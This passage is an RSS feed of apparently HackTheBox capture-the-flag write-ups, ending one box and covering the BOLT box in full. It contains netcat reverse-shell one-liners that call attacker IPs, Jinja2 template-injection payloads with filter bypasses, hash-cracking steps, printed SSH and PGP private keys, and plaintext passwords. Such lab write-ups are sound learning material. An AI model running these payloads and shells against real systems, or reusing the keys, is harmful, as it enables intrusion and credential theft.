KEY-----<br>b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn<br>NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3<br>rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE<br>7Jh1d+jfpDYYXqON5r6DzODI5WMwLKl9n5rbtFko3xaLewkHYTE2YY3uvVppxsnCvJ/6uk<br>r6p7bzcRygYrTyEAWg5gORfsqhC3HaoOxXiXgGzTWyXtf2o4zmNhstfdgWWBpEfbgFgZ3D<br>WJ+u2z/VObp0IIKEfsgX+cWXQUt8RJAnKgTUjGAmfNRL9nJxomYHlySQz2xL4UYXXzXr8G<br>mL6X0+nKrRglaNFdC0ykLTGsiGs1+bc6jJiD1ESiebAS/ZLATTsaH46IE/vv9XOJ05qEXR<br>GUz+aplzDG4wWviSNuerDy9PTGxB6kR5pGbCaEWoRPLVIb9EqnWh279mXu0b4zYhEg+nyD<br>K6ui/nrmRYUOadgCKXR7zlEm3mgj4hu4cFasH/KlAAAFgK9tvD2vbbw9AAAAB3NzaC1yc2<br>EAAAGBAJ2SDvkMsH4J37aqOWrPqKx1v8NVm6xuouge079j3UNPTYsTprR0d658R6Lr+P5d<br>aTtp4z3+Rm41RwLDMCQ15gzY2qmXzvTmAuyu4a+xVesZVFk4cHCqNISDlbhOyYdXfo36Q2<br>GF6jjea+g8zgyOVjMCypfZ+a27RZKN8Wi3sJB2ExNmGN7r1aacbJwryf+rpK+qe283EcoG<br>K08hAFoOYDkX7KoQtx2qDsV4l4Bs01sl7X9qOM5jYbLX3YFlgaRH24BYGdw1ifrts/1Tm6<br>dCCChH7IF/nFl0FLfESQJyoE1IxgJnzUS/ZycaJmB5ckkM9sS+FGF1816/Bpi+l9Ppyq0Y<br>JWjRXQtMpC0xrIhrNfm3OoyYg9REonmwEv2SwE07Gh+OiBP77/VzidOahF0RlM/mqZcwxu<br>MFr4kjbnqw8vT0xsQepEeaRmwmhFqETy1SG/RKp1odu/Zl7tG+M2IRIPp8gyurov565kWF<br>DmnYAil0e85RJt5oI+IbuHBWrB/ypQAAAAMBAAEAAAGALBhHoGJwsZTJyjBwyPc72KdK9r<br>rqSaLca+DUmOa1cLSsmpLxP+an52hYE7u9flFdtYa4VQznYMgAC0HcIwYCTu4Qow0cmWQU<br>xW9bMPOLe7Mm66DjtmOrNrosF9vUgc92Vv0GBjCXjzqPL/p0HwdmD/hkAYK6YGfb3Ftkh0<br>2AV6zzQaZ8p0WQEIQN0NZgPPAnshEfYcwjakm3rPkrRAhp3RBY5m6vD9obMB/DJelObF98<br>yv9Kzlb5bDcEgcWKNhL1ZdHWJjJPApluz6oIn+uIEcLvv18hI3dhIkPeHpjTXMVl9878F+<br>kHdcjpjKSnsSjhlAIVxFu3N67N8S3BFnioaWpIIbZxwhYv9OV7uARa3eU6miKmSmdUm1z/<br>wDaQv1swk9HwZlXGvDRWcMTFGTGRnyetZbgA9vVKhnUtGqq0skZxoP1ju1ANVaaVzirMeu<br>DXfkpfN2GkoA/ulod3LyPZx3QcT8QafdbwAJ0MHNFfKVbqDvtn8Ug4/yfLCueQdlCBAAAA<br>wFoM1lMgd3jFFi0qgCRI14rDTpa7wzn5QG0HlWeZuqjFMqtLQcDlhmE1vDA7aQE6fyLYbM<br>0sSeyvkPIKbckcL5YQav63Y0BwRv9npaTs9ISxvrII5n26hPF8DPamPbnAENuBmWd5iqUf<br>FDb5B7L+sJai/JzYg0KbggvUd45JsVeaQrBx32Vkw8wKDD663agTMxSqRM/wT3qLk1zmvg<br>NqD51AfvS/NomELAzbbrVTowVBzIAX2ZvkdhaNwHlCbsqerAAAAMEAzRnXpuHQBQI3vFkC<br>9vCV+ZfL9yfI2gz9oWrk9NWOP46zuzRCmce4Lb8ia2tLQNbnG9cBTE7TARGBY0QOgIWy0P<br>fikLIICAMoQseNHAhCPWXVsLL5yUydSSVZTrUnM7Uc9rLh7XDomdU7j/2lNEcCVSI/q1vZ<br>dEg5oFrreGIZysTBykyizOmFGElJv5wBEV5JDYI0nfO+8xoHbwaQ2if9GLXLBFe2f0BmXr<br>W/y1sxXy8nrltMVzVfCP02sbkBV9JZAAAAwQDErJZn6A+nTI+5g2LkofWK1BA0X79ccXeL<br>wS5q+66leUP0KZrDdow0s77QD+86dDjoq4fMRLl4yPfWOsxEkg90rvOr3Z9ga1jPCSFNAb<br>RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb<br>nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2<br>shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=<br>-----END OPENSSH PRIVATE KEY-----</pre><p>Also, reading authorized keys shows us that the user’s name is <strong>user</strong>. Let’s SSH into him:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*KUw98mWFN9sUc52D6GHLGQ.png" /></figure><p>Get <strong>user.txt</strong> from <strong>/home/forge/user.txt</strong>.</p><p>Now, time for privilege escalation! Run <strong>sudo -l</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*foqrp1-Y4kKuN0WkxO0j7A.png" /></figure><p>We can execute that script as root, but sadly, we are not allowed to change its permissions. Let’s view what’s inside it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*zKcPlHiD4fPGGyaEwzFltg.png" /></figure><p>Guess it runs a listener. Let’s run the script using:</p><pre>sudo /usr/bin/python3 /opt/remote-manage.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*cyVL91foDrY2SxMY2eFn2w.png" /></figure><p>Let’s fire up another SSH session and connect to it:</p><pre>nc localhost 31724</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*3x2-8Wb2xR581wPJo9hQiw.png" /></figure><p>Entering 1,2,3,4 runs the commands as specified. Note that if you cause an exception, then it opents the <strong>Python Debugger (PDB)</strong>. I entered any text (like, <strong>abcd</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*4_CbPOwhy2oG7vhwdacwmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*ydJJ31SSiMwbta2K4uhzjg.png" /></figure><p>So, we got a Python debugger. Note that we can run python commands in PDB. (I found out about this today xD):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/211/1*jO4b0ZCpUEVEpZlJ1WqCkA.png" /></figure><p>We can try a reverse shell. Run these commands (the reverse shell was taken from <a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">pentestmonkey reverse shell cheatsheet</a>):</p><pre>import os</pre><pre>os.system(&#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.13 1234 &gt;/tmp/f&#39;)</pre><p>Make sure to have a nc listener running, and:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*xAxsfeImVFX2U1qnUJyxYw.png" /></figure><p>We are root!<br>Get <strong>root.txt</strong> from <strong>/root/root.txt</strong></p><p><strong>We have successfully pwned the box!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0aee97372ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BOLT — HackTheBox WriteUp]]></title>
            <link>https://medium.com/@v1per/bolt-hackthebox-writeup-f5061ecec200?source=rss-c4b3fa676069------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5061ecec200</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Himanshu Das]]></dc:creator>
            <pubDate>Mon, 09 May 2022 14:00:50 GMT</pubDate>
            <atom:updated>2022-05-09T14:00:50.613Z</atom:updated>
            <content:encoded><![CDATA[<h3>BOLT — HackTheBox WriteUp</h3><p><strong>BOLT</strong> is a <strong>LINUX </strong>machine of <strong>MEDIUM</strong> difficulty.</p><p>Do a <strong>rustscan </strong>to check for open ports:</p><pre>rustscan 10.10.11.114 -- -A -Pn -T4 -sC -sV</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mMu5ArmDz9OzwrAVV-tkGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YaAfUvy9oT5L277uXSQaCw.png" /></figure><p>Add bolt.htb and passbolt.bolt.htb to your /etc/hosts. Let’s run ffuf for directory busting on both the web ports (80 and 443):</p><pre>ffuf -w &#39;/usr/share/wordlists/dirb/common.txt&#39; -u &#39;<a href="http://bolt.htb/FUZZ&#39;">http://bolt.htb/FUZZ&#39;</a> -t 64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*_1vgCIB88VSdBupY9JeGvQ.png" /></figure><pre>ffuf -w &#39;/usr/share/wordlists/dirb/common.txt&#39; -u &#39;<a href="https://bolt.htb/FUZZ&#39;">https://bolt.htb/FUZZ&#39;</a> -t 64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9NPBTHba_NfUqpG_yH5S9w.png" /></figure><p>Let’s visit the websites now:</p><ul><li><strong>PORT 80</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HW6C7BPg4nt5lqOLIFP4Nw.png" /></figure><p>In the download page, there is an option to download. Downloading that, it’s an <strong>image.tar</strong> file. We also find a login page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*88x2T6WndRHToRz2DjTDkw.png" /></figure><p>and a registration page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*MvPL7y_xW35Qqz3gWzjmlw.png" /></figure><p>I tried to register, but all I got was this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CRrb3iIXZcS7P9ilZLIgdg.png" /></figure><ul><li><strong>PORT 443</strong></li></ul><p>Visiting <a href="https://bolt.htb/">https://bolt.htb</a> gave me a blank page. So, let’s visit <a href="https://passbolt.bolt.htb/">https://passbolt.bolt.htb</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*MqzEvFVuMaAGvBZyPYdSFg.png" /></figure><p>A login page! I tried entering some emails but I got this everytime:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*AhLgDdreL3_97yboXiEv3g.png" /></figure><p>Nothing useful. Let’s extract the tar file we found earlier. There were a lottt of directories. Inside the <strong>a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2</strong> directory, there was a layer.tar file. Extracting which, we get a <strong>db.sqlite3</strong> file. Let’s open it using:</p><pre>sqlite3 db.sqlite3</pre><p>Now, type:</p><pre>.table</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/183/1*X62tiDYPWcBdj4zHa5TP_g.png" /></figure><p>We have one table named <strong>User</strong>. Now, run:</p><pre>select * from User;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*X72DZZw5G0OlMMa6M_gADg.png" /></figure><p>We get an email: <strong>admin@bolt.htb</strong> and a hash:</p><pre>$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.</pre><p>Let’s try to crack it using john:</p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</pre><p>And we got the password as: <strong>deadbolt</strong></p><p>Let’s head over to the Port 80 login page, and try to login with username: <strong>admin</strong> and the above password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HiCPhRSHy71hcSiwVlE7vg.png" /></figure><p>In the bottom of this page, we see a chat:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*xliJOea6TN2TaRrCwYSxog.png" /></figure><p>Three usernames: <strong>Alexander Pierce</strong>, <strong>Sarah Bullock </strong>and <strong>Eddie.</strong></p><p>Next, I returned to the docker file and started viewing the other layer.tar files in the other directories. In the <strong>745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf</strong> directory, I found this in the .env file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*N1MEJ_mWFDZxj6SzefwWHg.png" /></figure><p>SECRET KEY: <strong>S3cr3t_K#Key</strong></p><p>Now, searching around a little, I found the source of the website (apparently). After some time, I revisited the passbolt.bolt.htb website and tried the emails of the three users we found above. When I entered <strong>eddie@bolt.htb</strong>, I got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*ovZjeULC-r9ZO27RnTFBBA.png" /></figure><p>Something different! I enumerated further but still didn’t find anything. Next, I searched for subdomains using gobuster:</p><pre>gobuster vhost -w &#39;/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt&#39; -u bolt.htb -t 64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*3I7DlgZCTYZnEBU8TEqN2Q.png" /></figure><p>Add these two to your /etc/hosts. Visiting them:</p><ul><li><strong>demo.bolt.htb</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*VnXKBHz7nUIYfrgGseZpqQ.png" /></figure><ul><li><strong>mail.bolt.htb</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*BAwpFFBwfN5yyEmbaIwfRA.png" /></figure><p>Two more login pages. In the demo page, clicking on Create a account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*jTlNeDMwXJKyM8o84Xbp3g.png" /></figure><p>Ok, it asks for an Invite Code… I remembered something from this. In the <strong>41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad</strong> directory in <strong>app/base/routes.py</strong> file, I found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*HgXcOIG5vZGH6et65TTqig.png" /></figure><p>Invite Code: <strong>XNSS-HSJW-3NGU-8XTJ<br></strong>Now, let’s try to register an account there. I used this email and username:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*3g1I1qeAjGq1pNIHb1y3EQ.png" /></figure><p>Next, logging in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V2oM3WG0PI7yyzeIoiKWKQ.png" /></figure><p>Note that with the creds I just used for creating account, I was also able to login to the webmail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZYepJmPECU_M1MQwQ88gIw.png" /></figure><p>Next, I tried sending the verification mail from the passbolt domain to eddie@bolt.htb and saw if we were getting any mails here. But, of no use :/<br>I also noticed that in this mail page, I was getting an error. Maybe this is because we have used username as eddie to register? Let’s try registering with a different username:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*XVMx1-11hhDujoOC6LOv2g.png" /></figure><p>And..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*BnlevzaGhnK5LclnpiPpEA.png" /></figure><p>No errors this time. Now, after logging in on the demo website, going to <strong>Settings</strong>, I found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nH8RwgswNtMDuLiHtNS0Sg.png" /></figure><p>Looks like it will send a confirmation mail or something. Let’s see if this does. (Also, I’m gonna use SSTI payloads as well):</p><pre>{{7*7}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zjM16WxzCoCThS6Ov1HWRA.png" /></figure><p>Like this! I submitted then checked the mail box and..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*d9vJvjj6FFQVNyNoKcpxcw.png" /></figure><p>There was a mail! There was a link in the mail. Clicking on that, I got another mail, and on opening that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*dfjvsMaNZlLbvDVTT_wB-g.png" /></figure><p>We have SSTI here!<br>Let’s see if we can get a shell from here.<br>Now, since {{7*7}} worked, it is either Jinja2 or Twig. I’m gonna make a guess and try Jinja2 payloads here. I’ll use a payload from here:</p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection">PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings</a></p><p>I used the bypassing common filters one:</p><pre>{{request|attr(&#39;application&#39;)|attr(&#39;\x5f\x5fglobals\x5f\x5f&#39;)|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fbuiltins\x5f\x5f&#39;)|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fimport\x5f\x5f&#39;)(&#39;os&#39;)|attr(&#39;popen&#39;)(&#39;id&#39;)|attr(&#39;read&#39;)()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*973-8GL9AixpYOWCSKVjNA.png" /></figure><p>It worked! Let’s try to get a shell. I’ll use a payload from <a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Pentestmonkey Reverse Shell Cheatsheet</a>. I used this payload:</p><pre>{{request|attr(&#39;application&#39;)|attr(&#39;\x5f\x5fglobals\x5f\x5f&#39;)|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fbuiltins\x5f\x5f&#39;)|attr(&#39;\x5f\x5fgetitem\x5f\x5f&#39;)(&#39;\x5f\x5fimport\x5f\x5f&#39;)(&#39;os&#39;)|attr(&#39;popen&#39;)(&#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.160 1234 &gt;/tmp/f&#39;)|attr(&#39;read&#39;)()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*z15zsT7tueXlbbdJkdk9Nw.png" /></figure><p>I got a shell! Let’s stabilise it using <a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/">socat</a>.<br>Now, after searching around a bit, I found that the passbolt website is hosted in the /etc/passbolt directory. There, we had a file named <strong>passbolt.php</strong>. Inside that, we find the creds for MySQL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*bEbkkaCWe_AIhVOrWsBS1Q.png" /></figure><p>User: <strong>passbolt<br></strong>Password: <strong>rT2;jW7&lt;eY8!dX8}pQ8%</strong></p><p>Next, I was getting some errors on connecting to MySQL through commandline, so I used <a href="https://www.adminer.org/">Adminer</a> to see the database. I didn’t find anything interesting though. After searching a while, I tried the above password to see if I can SSH into eddie, and…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*HFR4rSs3v8-zGu5UjcWt8Q.png" /></figure><p>It worked!<br>Get <strong>user.txt</strong> from <strong>/home/eddie/user.txt</strong></p><p>Now, time for privilege escalation!<br>Now, I remembered as www-data, in the /etc/passbolt folder, there was another directory named <strong>gpg</strong> inside which we had these two:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*83kfj72PNAkUb5BnUtA0MA.png" /></figure><p>I saved these two for later reference. Now, in the /var/mail directory, there was a file named <strong>eddie</strong>. Reading it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQ72pz1IKqd5jSIuFv1BOw.png" /></figure><p>I recursively grepped for PGP private keys and this one stood out:</p><pre>/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log</pre><p>In this file I found one private key:</p><pre>-----BEGIN PGP PRIVATE KEY BLOCK-----<br>Version: OpenPGP.js v4.10.9<br>Comment: https://openpgpjs.org  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 PSwYYWlAywj5<br>=cqxZ<br>-----END PGP PRIVATE KEY BLOCK-----</pre><p>Save this in a file called “key.asc”. Cracking it using <strong>gpg2john</strong>, I got the passphrase: <strong>merrychristmas</strong> (it took around 10 mins for me lol). Now, where to use it.<br>I remembered that in the MySQL database (which we accessed using adminer), in the <strong>secrets</strong> table, I found a PGP message:</p><pre>-----BEGIN PGP MESSAGE-----<br>Version: OpenPGP.js v4.10.9<br>Comment: <a href="https://openpgpjs.org/">https://openpgpjs.org</a><br>wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7 FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov 8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey 5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6 TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984<br>=P38i<br>-----END PGP MESSAGE-----</pre><p>Save this in a file called “msg.pgp”. I tried to decrypt this using <strong>gpg</strong>:</p><pre>gpg --import key.asc<br>gpg --decrypt msg.pgp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*oL-aoyOpdwqoZic3YcT_Zw.png" /></figure><p>Password: <strong>Z(2rmxsNW(Z?3=p/9s<br></strong>I tried to su into root using this password and:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*IjloFD3-H1tGkBohjb4ZLQ.png" /></figure><p>We are root!<br>Get <strong>root.txt</strong> from <strong>/root/root.txt</strong></p><p><strong>We have successfully pwned the box!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f5061ecec200" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>